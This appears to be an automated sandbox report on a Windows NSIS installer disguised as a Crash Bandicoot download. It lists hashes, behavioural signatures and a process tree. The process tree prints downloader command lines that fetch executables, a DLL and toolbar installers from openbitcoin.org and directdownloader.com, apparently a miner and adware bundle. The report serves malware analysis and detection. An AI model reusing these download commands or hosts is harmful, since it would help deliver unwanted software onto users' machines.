Overview
overview
7Static
static
3a5d20f25b5...18.exe
windows7-x64
7a5d20f25b5...18.exe
windows10-2004-x64
7$PLUGINSDI...on.dll
windows7-x64
3$PLUGINSDI...on.dll
windows10-2004-x64
3$PLUGINSDI...dl.dll
windows7-x64
3$PLUGINSDI...dl.dll
windows10-2004-x64
3$PLUGINSDI...es.dll
windows7-x64
3$PLUGINSDI...es.dll
windows10-2004-x64
3$PLUGINSDI...ec.dll
windows7-x64
3$PLUGINSDI...ec.dll
windows10-2004-x64
3$TEMP/12e3...LR.exe
windows7-x64
7$TEMP/12e3...LR.exe
windows10-2004-x64
7$PLUGINSDI...dl.dll
windows7-x64
3$PLUGINSDI...dl.dll
windows10-2004-x64
3$TEMP/12e3...R0.exe
windows7-x64
7$TEMP/12e3...R0.exe
windows10-2004-x64
7$PLUGINSDI...dl.dll
windows7-x64
3$PLUGINSDI...dl.dll
windows10-2004-x64
3$TEMP/12e3...R1.exe
windows7-x64
7$TEMP/12e3...R1.exe
windows10-2004-x64
7$PLUGINSDI...dl.dll
windows7-x64
3$PLUGINSDI...dl.dll
windows10-2004-x64
3$TEMP/12e3...R2.exe
windows7-x64
7$TEMP/12e3...R2.exe
windows10-2004-x64
7$PLUGINSDI...dl.dll
windows7-x64
3$PLUGINSDI...dl.dll
windows10-2004-x64
3$TEMP/12e3...UB.exe
windows7-x64
7$TEMP/12e3...UB.exe
windows10-2004-x64
7$PLUGINSDI...dl.dll
windows7-x64
3$PLUGINSDI...dl.dll
windows10-2004-x64
3$TEMP/12e3...er.exe
windows7-x64
1$TEMP/12e3...er.exe
windows10-2004-x64
1Analysis
-
max time kernel
150s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
13-06-2024 13:36
Static task
static1
Behavioral task
behavioral1
Sample
a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/GetVersion.dll
Resource
win7-20240611-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/GetVersion.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win7-20240508-en
Behavioral task
behavioral6
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral7
Sample
$PLUGINSDIR/Processes.dll
Resource
win7-20240611-en
Behavioral task
behavioral8
Sample
$PLUGINSDIR/Processes.dll
Resource
win10v2004-20240611-en
Behavioral task
behavioral9
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20231129-en
Behavioral task
behavioral10
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20240611-en
Behavioral task
behavioral11
Sample
$TEMP/12e3c33540e3950d9d7ec996be5d13ee/downloaderDDLR.exe
Resource
win7-20240221-en
Behavioral task
behavioral12
Sample
$TEMP/12e3c33540e3950d9d7ec996be5d13ee/downloaderDDLR.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral13
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win7-20240508-en
Behavioral task
behavioral14
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win10v2004-20240611-en
Behavioral task
behavioral15
Sample
$TEMP/12e3c33540e3950d9d7ec996be5d13ee/downloaderOFFER0.exe
Resource
win7-20240221-en
Behavioral task
behavioral16
Sample
$TEMP/12e3c33540e3950d9d7ec996be5d13ee/downloaderOFFER0.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral17
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win7-20240220-en
Behavioral task
behavioral18
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral19
Sample
$TEMP/12e3c33540e3950d9d7ec996be5d13ee/downloaderOFFER1.exe
Resource
win7-20240419-en
Behavioral task
behavioral20
Sample
$TEMP/12e3c33540e3950d9d7ec996be5d13ee/downloaderOFFER1.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral21
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win7-20240221-en
Behavioral task
behavioral22
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral23
Sample
$TEMP/12e3c33540e3950d9d7ec996be5d13ee/downloaderOFFER2.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
$TEMP/12e3c33540e3950d9d7ec996be5d13ee/downloaderOFFER2.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral25
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win7-20240611-en
Behavioral task
behavioral26
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win10v2004-20240611-en
Behavioral task
behavioral27
Sample
$TEMP/12e3c33540e3950d9d7ec996be5d13ee/downloaderSTUB.exe
Resource
win7-20240611-en
Behavioral task
behavioral28
Sample
$TEMP/12e3c33540e3950d9d7ec996be5d13ee/downloaderSTUB.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral29
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win7-20240221-en
Behavioral task
behavioral30
Sample
$PLUGINSDIR/NSISdl.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral31
Sample
$TEMP/12e3c33540e3950d9d7ec996be5d13ee/preinstaller.exe
Resource
win7-20240220-en
Behavioral task
behavioral32
Sample
$TEMP/12e3c33540e3950d9d7ec996be5d13ee/preinstaller.exe
Resource
win10v2004-20240508-en
General
-
Target
a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe
-
Size
337KB
-
MD5
a5d20f25b5edc1485e6159aeb85cd31f
-
SHA1
29419cbd7313aeb90d4657b636b56dd251f76e0e
-
SHA256
27e6baa3b9edd378de1a34a157ba4817f3c9b717260ea85194958e8144d265a4
-
SHA512
0f2b8c51eb4f9f4f9fdc536c59391460cebc0ef5eafaca670bb5195773c05a34b7d26566a983f4f87be4064355f63dea5e057126973a36c556217ecdc678074e
-
SSDEEP
6144:Ic63Az3BXaJoNcM8gI+KsSwE1aW9SIyiIlPE1zsUR4aU+pLh1JzfauT01rTx:mGRXkoNczgbS/1aW9HmWbR4h+pLh1dfg
Malware Config
Signatures
-
Executes dropped EXE 7 IoCs
Processes:
downloaderSTUB.exedownloaderSTUB.exedownloaderSTUB.exedownloaderDDLR.exedownloaderOFFER1.exedownloaderOFFER1.exepreinstaller.exepid process 4048 downloaderSTUB.exe 3244 downloaderSTUB.exe 2964 downloaderSTUB.exe 4940 downloaderDDLR.exe 920 downloaderOFFER1.exe 836 downloaderOFFER1.exe 2788 preinstaller.exe -
Loads dropped DLL 30 IoCs
Processes:
downloaderSTUB.exedownloaderSTUB.exedownloaderDDLR.exedownloaderOFFER1.exedownloaderOFFER1.exedownloaderSTUB.exepid process 4048 downloaderSTUB.exe 2964 downloaderSTUB.exe 4940 downloaderDDLR.exe 920 downloaderOFFER1.exe 836 downloaderOFFER1.exe 3244 downloaderSTUB.exe 4048 downloaderSTUB.exe 2964 downloaderSTUB.exe 4940 downloaderDDLR.exe 920 downloaderOFFER1.exe 836 downloaderOFFER1.exe 3244 downloaderSTUB.exe 4048 downloaderSTUB.exe 2964 downloaderSTUB.exe 4940 downloaderDDLR.exe 920 downloaderOFFER1.exe 836 downloaderOFFER1.exe 3244 downloaderSTUB.exe 4048 downloaderSTUB.exe 2964 downloaderSTUB.exe 4940 downloaderDDLR.exe 920 downloaderOFFER1.exe 836 downloaderOFFER1.exe 3244 downloaderSTUB.exe 4048 downloaderSTUB.exe 2964 downloaderSTUB.exe 4940 downloaderDDLR.exe 920 downloaderOFFER1.exe 3244 downloaderSTUB.exe 836 downloaderOFFER1.exe -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
NSIS installer 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderOFFER2.exe nsis_installer_1 C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderOFFER2.exe nsis_installer_2 -
Suspicious use of WriteProcessMemory 21 IoCs
Processes:
a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exedescription pid process target process PID 4412 wrote to memory of 3244 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderSTUB.exe PID 4412 wrote to memory of 3244 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderSTUB.exe PID 4412 wrote to memory of 3244 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderSTUB.exe PID 4412 wrote to memory of 4048 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderSTUB.exe PID 4412 wrote to memory of 4048 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderSTUB.exe PID 4412 wrote to memory of 4048 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderSTUB.exe PID 4412 wrote to memory of 2964 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderSTUB.exe PID 4412 wrote to memory of 2964 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderSTUB.exe PID 4412 wrote to memory of 2964 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderSTUB.exe PID 4412 wrote to memory of 4940 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderDDLR.exe PID 4412 wrote to memory of 4940 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderDDLR.exe PID 4412 wrote to memory of 4940 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderDDLR.exe PID 4412 wrote to memory of 920 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderOFFER1.exe PID 4412 wrote to memory of 920 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderOFFER1.exe PID 4412 wrote to memory of 920 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderOFFER1.exe PID 4412 wrote to memory of 836 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderOFFER1.exe PID 4412 wrote to memory of 836 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderOFFER1.exe PID 4412 wrote to memory of 836 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe downloaderOFFER1.exe PID 4412 wrote to memory of 2788 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe preinstaller.exe PID 4412 wrote to memory of 2788 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe preinstaller.exe PID 4412 wrote to memory of 2788 4412 a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe preinstaller.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\a5d20f25b5edc1485e6159aeb85cd31f_JaffaCakes118.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderSTUB.exeC:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\stub.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3244 -
C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderSTUB.exeC:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\OpenCL.dll"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4048 -
C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderSTUB.exeC:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\updater.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2964 -
C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderDDLR.exeC:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\DirectDownloaderInstaller.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4940 -
C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderOFFER1.exeC:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/GamesLeap79048.exe" /D "C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\volcano.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:920 -
C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderOFFER1.exeC:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderOFFER1.exe /U "http://www.directdownloader.com/toolbars/PricePeepInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\pricepeep.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:836 -
C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\preinstaller.exeC:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\preinstaller.exe 0 "crashbandicoot1-2-3-crashteamracing-crashbash" "Download"2⤵
- Executes dropped EXE
PID:2788
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\downloaderOFFER2.exeFilesize
58KB
MD5c7f6ed56312c8fbb58ae6ed445c38df4
SHA1e2dba94ef052db774478b9f7198c1a2298b334e5
SHA256fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24
SHA512ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43
-
C:\Users\Admin\AppData\Local\Temp\12e3c33540e3950d9d7ec996be5d13ee\preinstaller.exeFilesize
241KB
MD59d8fe8bcc4c493b2fd1da8d2b07ba57c
SHA1aa9366eb9210c8a5398b5e55921c92ce8970df5b
SHA256f33b7419880c7c90c999970e4c21febaaf6d39fdb02f9d9deafa8f8d97f3b3eb
SHA5123fd58a0d7c870e8b07eb17f8f088d505ad98c7101733972f486a2946d18babfe0e4866ae28a16fe2481e006c26cbdf2d3eb1a2dd71bb44c084bbf14fea475216
-
C:\Users\Admin\AppData\Local\Temp\nse515D.tmp\NSISdl.dllFilesize
14KB
MD5a5f8399a743ab7f9c88c645c35b1ebb5
SHA1168f3c158913b0367bf79fa413357fbe97018191
SHA256dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9
SHA512824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977
-
memory/2788-52-0x0000000000400000-0x0000000000446000-memory.dmpFilesize
280KB
-
memory/4412-51-0x0000000000400000-0x0000000000440000-memory.dmpFilesize
256KB